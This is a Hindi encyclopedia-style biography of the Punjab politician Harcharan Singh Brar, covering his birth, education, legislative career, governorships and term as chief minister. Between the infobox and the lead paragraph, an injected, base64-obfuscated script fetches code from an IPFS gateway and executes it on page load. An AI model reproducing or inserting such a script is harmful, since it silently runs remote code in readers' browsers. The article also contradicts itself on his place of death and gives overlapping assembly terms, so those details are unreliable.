हरचरण सिंह बराड़
हरचरण सिंह बराड़
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पूरा नाम | हरचरण सिंह बराड़ |
जन्म | 21 जनवरी, 1919 |
जन्म भूमि | सराय नागा, पंजाब |
मृत्यु | 6 सितंबर, 2009 |
मृत्यु स्थान | चंडीगढ़ |
अभिभावक | पिता- बलवन्त सिंह बराड़ |
पति/पत्नी | गुरबिन्दर कौर बराड़ |
संतान | पुत्र- कंवरजीत सिंह बराड़, पुत्री- कंवलजीत कौर |
नागरिकता | भारतीय |
प्रसिद्धि | राजनीतिज्ञ |
पार्टी | भारतीय राष्ट्रीय कांग्रेस |
कार्य काल | मुख्यमंत्री, पंजाब-31 अगस्त, 1995 से 21 नवंबर, 1996 राज्यपाल, उड़ीसा-फ़रवरी, 1977 से सितंबर, 1977 तक |
संबंधित लेख | पंजाब, मुख्यमंत्री, पंजाब के मुख्यमंत्री |
अन्य जानकारी | हरचरण सिंह बराड़ ने पंजाब के फ़रीदकोट ज़िले में से मुक्तसर और मोगा को अलग ज़िला बनाने में अहम भूमिका निभाई थी। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>हरचरण सिंह बराड़ (अंग्रेज़ी: Harcharan Singh Brar, जन्म- 21 जनवरी, 1919; मृत्यु- 6 सितंबर, 2009) भारतीय राष्ट्रीय कांग्रेस के राजनीतिज्ञ तथा पंजाब के मुख्यमंत्री थे। चंडीगढ़ में पंजाब तथा हरियाणा सचिवालय के बाहर बम विस्फोट में तत्कालीन मुख्यमंत्री बेअंत सिंह के मारे जाने के बाद हरचरण सिंह बराड़ मुख्यमंत्री बने थे। वह 31 अगस्त, 1995 से 21 नवंबर, 1996 तक मुख्यमंत्री पद पर रहे। वह ओडिशा और हरियाणा के राज्यपाल भी रहे।
जन्म
हरचरण सिंह बराड़ का जन्म 21 जनवरी, 1919 को मुख्तार साहिब और कोट कपूरा के बीच राष्ट्रीय राजमार्ग 16 पर सराय नागा गाँव में हुआ था। उन्होंंने गुरबिंदर कौर बराड़ से विवाह किया। उनके पुत्र कंवरजीत सिंह बराड़, मुक्तसर से विधायक हैं और एक बेटी कंवलजीत कौर है। हरचरण सिंह बराड़ ने पंजाब के फ़रीदकोट ज़िले में से मुक्तसर और मोगा को अलग ज़िला बनाने में अहम भूमिका निभाई थी।
शिक्षा
हरचरण सिंह बराड़ ने गवर्नमेंट कॉलेज, लाहौर से स्नातक की शिक्षा ग्रहण की थी।
कॅरियर
हरचरण सिंह बराड़ पांच बार पंजाब विधानसभा के सदस्य थे। वे 1960-1962 में मुक्तसर से और 1962-1967 और 1992-1997 में दोबारा निर्वाचित हुए। 1967-1972 में गिद्दड़बाहा और 1969-1974 में कोटकपूरा में पंजाब विधानसभा के सदस्य रहे। उन्होंने फ़रवरी, 1977 से सितंबर, 1977 तक ओडिशा के राज्यपाल और 24 सितंबर, 1977 से 9 दिसंबर, 1979 तक हरियाणा के राज्यपाल के रूप में कार्य किया।
पंजाब के मुख्यमंत्री
पंजाब के मुख्यमंत्री बेअंत सिंह की हत्या के बाद पंजाब और हरियाणा सचिवालय के बाहर चंडीगढ़ में हुए विस्फोट के बाद 31 अगस्त, 1995 को हरचरण सिंह बराड़ ने पंजाब के मुख्यमंत्री का पदभार संभाला था। उन्हें फ़रीदकोट ज़िले से बाहर मुक्तसर और मोगा जिलों के निर्माण का श्रेय दिया जाता है। हरचरण सिंह बराड़ ने सिंचाई और बिजली मंत्री और स्वास्थ्य और परिवार कल्याण मंत्री के रूप में भी काम किया।
मृत्यु
हरचरण सिंह बराड़ की 90 वर्ष की आयु में लंबी बीमारी के बाद 6 सितंबर, 2009 को उनके पैतृक गांव सराय नागा में मृत्यु हो गई।
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टीका टिप्पणी और संदर्भ
संबंधित लेख
क्रमांक | राज्य | मुख्यमंत्री | तस्वीर | पार्टी | पदभार ग्रहण |
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